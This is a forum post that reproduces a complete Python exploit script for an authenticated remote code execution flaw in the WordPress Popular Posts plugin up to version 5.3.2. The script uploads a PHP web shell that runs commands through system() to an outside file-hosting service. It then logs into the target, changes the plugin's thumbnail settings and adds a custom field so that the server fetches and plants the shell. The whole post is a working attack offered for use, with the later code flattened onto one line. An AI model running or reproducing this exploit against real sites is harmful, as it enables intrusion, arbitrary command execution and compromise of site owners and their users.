WordPress Popular Posts 5.3.2 Shell Upload

#330
Topic created · 1 Posts · 0 Views
  • # Exploit Title: WordPress Plugin Popular Posts 5.3.2 - Remote Code Execution (RCE) (Authenticated)
    # Date: 15/07/2021
    # Exploit Author: Simone Cristofaro
    # Vendor Homepage: https://it.wordpress.org/plugins/wordpress-popular-posts/
    # Software Link: https://downloads.wordpress.org/plugin/wordpress-popular-posts.5.3.2.zip
    # Version: 5.3.2 or below
    # Tested on: Debian 10, WordPress 5.7.2, PHP version 7.3.27
    # Reference: https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/
    # Notes: It's required that the Popular Posts widget is active (ie. in the footer section) and gd extension for PHP is
    # enabled (otherwise WPP can't generate thumbnails). Also, the authenticated user must have "Contributor" role or above.
    
    # This script will login with the provided credentials, create a new post and add a custom field with the link to a
    # web shell, that will be automatically downloaded by the server. If you don't want to upload the file, you need to
    # provide a URL to a web shell with SSL support (https) and make sure it contains the file name in it. If the plugin is
    # set to show a fixed number of popular posts (ie. top 5), you just need to refresh the post page to make it go up ;)
    
    '''
    Banner:
    '''
    banner = """
    * Wordpress Popular Posts plugin <= 5.3.2 - RCE (Authenticated) 
    * @Heisenberg
    """
    print(banner)
    
    '''
    Import required modules:
    '''
    import requests
    import argparse
    import json
    import re
    '''
    User-Input:
    '''
    my\_parser = argparse.ArgumentParser(description='Wordpress Popular Posts plugin <= 5.3.2 - RCE (Authenticated)')
    my\_parser.add\_argument('-t', help='--Target IP', metavar='IP', type=str, required=True, dest="target\_ip")
    my\_parser.add\_argument('-p', help='--Target port', type=str, metavar='PORT', default='80', dest="target\_port")
    my\_parser.add\_argument('-w', help='--Wordpress path (ie. /wordpress/)',metavar='PATH', type=str, required=True, dest="wp\_path")
    my\_parser.add\_argument('-U', help='--Username', metavar='USER', type=str, required=True, dest="username")
    my\_parser.add\_argument('-P', help='--Password', metavar='PASS', type=str, required=True, dest="password")
    args = my\_parser.parse\_args()
    target\_ip = args.target\_ip
    target\_port = args.target\_port
    wp\_path = args.wp\_path
    username = args.username
    password = args.password
    
    ''' 
    # Hard coded parameters (if you don't like command line execution) 
    target\_ip = "localhost"
    target\_port = "80"
    wp\_path = "/wordpress/"
    username = "heisenberg"
    password = "heisenberg"
    '''
    
    shell\_name = 'exploit.gif.php'
    payload = 'GIF <html> <body> <form method="GET" name="<?php echo basename($\_SERVER[\'PHP\_SELF\']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($\_GET[\'cmd\'])) { system($\_GET[\'cmd\']); } ?> </pre> </body> </html>'
    
    print('')
    print('[*] Starting Exploit:')
    
    '''
    Upload file
    '''
    file\_json = requests.post('https://api.bayfiles.com/upload', files={ 'file' : (shell\_name, payload)})
    resp = json.loads(file\_json.text)
    if resp['status']:
     urlshort = resp['data']['file']['url']['full']
    else:
     print(f'[-] Error:'+ resp['error']['message'])
     exit()
    
    file\_uploaded\_site = requests.get(urlshort).text
    PHP\_URL = re.findall(r"(https?://\S+)("+shell\_name+")",file\_uploaded\_site)[0][0] + shell\_name
    
    print(f'[+] Web Shell successfully uploadad at [{PHP\_URL}].')
    
    '''
    Authentication:
    '''
    session = requests.Session()
    auth\_url = 'http://' + target\_ip + ':' + target\_port + wp\_path + 'wp-login.php'
    
    # Header:
    header = {
     'Host': target\_ip,
     'User-Agent': 'Monies Browser 1.0',
     'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
     'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
     'Accept-Encoding': 'gzip, deflate',
     'Content-Type': 'application/x-www-form-urlencoded',
     'Origin': 'http://' + target\_ip,
     'Connection': 'close',
     'Upgrade-Insecure-Requests': '1'
    }
    
    # Body:
    body = {
     'log': username,
     'pwd': password,
     'wp-submit': 'Log In',
     'testcookie': '1'
    }
    
    # Authenticate:
    auth = session.post(auth\_url, headers=header, data=body)
    auth\_header = auth.headers['Set-Cookie']
    if 'wordpress\_logged\_in' in auth\_header:
     print(f'[+] Authentication successfull as user [{username}] !')
    else:
     print('[-] Authentication failed ! Check username and password')
     exit()
    
    '''
    Verify that the requirements are installed
    '''
    settings\_page\_url = 'http://' + target\_ip + ':' + target\_port + wp\_path + 'wp-admin/options-general.php?page=wordpress-popular-posts&tab=debug'
    settings\_page = session.get(settings\_page\_url).text
    search\_string = ' gd'
    if settings\_page.find(search\_string) == -1 :
     print('[-] Error, gd extension for PHP is not installed/enabled on the server ! WPP can\'t generate thumbnails.')
     exit()
    
    '''
    Get the wpp-admin-token
    '''
    settings\_page\_url = 'http://' + target\_ip + ':' + target\_port + wp\_path + 'wp-admin/options-general.php?page=wordpress-popular-posts&tab=tools'
    
    settings\_page = session.get(settings\_page\_url).text
    search\_string = '<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="'
    search\_string\_end = '" />'
    settings\_page = settings\_page[settings\_page.find(search\_string):]
    wpp\_admin\_token = settings\_page[72: settings\_page.find(search\_string\_end)]
    if wpp\_admin\_token:
     print(f'[+] Acquired wpp-admin-token [{wpp\_admin\_token}].')
    else:
     print('[-] Error while gathering wpp-admin-token !')
     exit()
    
    '''
    Apply changes to the Popular Posts plugin
    '''
    body = {
     'upload\_thumb\_src': '',
     'thumb\_source': 'custom\_field',
     'thumb\_lazy\_load': 1,
     'thumb\_field': 'wpp\_thumbnail',
     'thumb\_field\_resize': 1,
     'section': 'thumb',
     'wpp-admin-token': wpp\_admin\_token
    }
    applied\_changes = session.post(settings\_page\_url, headers=header, data=body).text
    if applied\_changes.find('<div class="notice notice-success is-dismissible"><p><strong>Settings saved.'):
     print(f'[+] Settings applied successfully to the Popular Posts plugin. ')
    else:
     print('[-] Error while applying settings o the Popular Posts plugin!')
     exit()
    
    '''
    Empty image cache
    '''
    body = {
     'action': 'wpp\_clear\_thumbnail',
     'wpp-admin-token': wpp\_admin\_token
    }
    applied\_changes = session.post(settings\_page\_url, headers=header, data=body).text
    print(f'[+] Images cache cleared. ')
    
    
    '''
    Get the new post ID and Nonce
    '''
    new\_post\_url = 'http://' + target\_ip + ':' + target\_port + wp\_path + 'wp-admin/post-new.php'
    
    new\_post\_page = session.get(new\_post\_url).text
    search\_string = 'name="\_ajax\_nonce-add-meta" value="'
    search\_string\_end = '" />'
    new\_post\_page = new\_post\_page[new\_post\_page.find(search\_string)+35:]
    ajax\_nonce = new\_post\_page[:new\_post\_page.find(search\_string\_end)]
    
    search\_string = 'wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "'
    search\_string\_end = '" );'
    new\_post\_page = new\_post\_page[new\_post\_page.find(search\_string)+66:]
    wp\_nonce = new\_post\_page[:new\_post\_page.find(search\_string\_end)]
    
    search\_string = '},"post":{"id":'
    search\_string\_end = ','
    new\_post\_page = new\_post\_page[new\_post\_page.find(search\_string)+15:]
    post\_ID = new\_post\_page[:new\_post\_page.find(search\_string\_end)]
    
    if post\_ID and wp\_nonce and ajax\_nonce:
     print(f'[+] Acquired new post ID [{post\_ID}], WP Nonce [{wp\_nonce}] and AJAX Nonce [{ajax\_nonce}].')
    else:
     if not post\_ID: print('[-] Error while gathering post\_ID !')
     elif not wp\_nonce: print('[-] Error while gathering Wordpress Nonce !')
     elif not ajax\_nonce : print('[-] Error while gathering Wordpress AJAX Nonce !')
     exit()
    
    '''
    Publish a new post
    '''
    new\_post\_url = 'http://' + target\_ip + ':' + target\_port + wp\_path + 'index.php/wp-json/wp/v2/posts/'+post\_ID+'?\_locale=user'
    
    data = {"id":post\_ID,"title":"I'm the one who knocks","content":"<!-- wp:paragraph -

    \n<p>upgrade your plugins</p>\n<!-- /wp:paragraph -

    ","status":"publish"} header['X-WP-Nonce'] = wp\_nonce header['Content-Type'] = 'application/json' header['X-HTTP-Method-Override'] = 'PUT' new\_post\_page = session.post(new\_post\_url, headers=header, json=data).text if new\_post\_page.find('"status":"publish"'): print(f'[+] New post named [I\'m the one who knocks] published correctly!') else: print('[-] Error while publishing the new post !') exit() ''' Add the Custom Filed ''' new\_post\_url = 'http://' + target\_ip + ':' + target\_port + wp\_path + 'wp-admin/admin-ajax.php' header.pop('X-WP-Nonce') header['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8' header.pop('X-HTTP-Method-Override') header['Accept']='*/*' header['X-Requested-With'] = 'XMLHttpRequest' body = { '\_ajax\_nonce': 0, 'action': 'add-meta', 'metakeyselect': 'wpp\_thumbnail', 'metakeyinput': "", 'metavalue' : PHP\_URL, '\_ajax\_nonce-add-meta': ajax\_nonce, 'post\_id' : post\_ID } new\_post\_page = session.post(new\_post\_url, headers=header, data=body).text if new\_post\_page.find("<tr id='meta-") > 0: print(f'[+] Added a new Custom Field with the uploaded web shell.') else: print('[-] Error while adding the custom field !') print(new\_post\_page) exit() ''' Give it some views to pop it up in the recent posts ''' print(f'[+] Giving the new post some views (10) [ ', end="") new\_post\_url = 'http://' + target\_ip + ':' + target\_port + wp\_path + 'index.php?page\_id=' + post\_ID redirect\_url = session.get(new\_post\_url).url new\_post\_plugin\_url = 'http://' + target\_ip + ':' + target\_port + wp\_path + 'index.php/wp-json/wordpress-popular-posts/v1/popular-posts' data = { '\_wpnonce': wp\_nonce, 'wpp\_id': post\_ID, 'sampling': 0, 'sampling\_rate': 100 } for progress in range(10): session.get(redirect\_url) res = session.post(new\_post\_plugin\_url, headers=header, data=data) print ('=', end='') print(' ] '+json.loads(res.text)['results']) print('[+] Exploit done !') print(' -> Webshell: http://' + target\_ip + ':' + target\_port + wp\_path + 'wp-content/uploads/wordpress-popular-posts/' + post\_ID +'\_'+ shell\_name) print('')
Log in to reply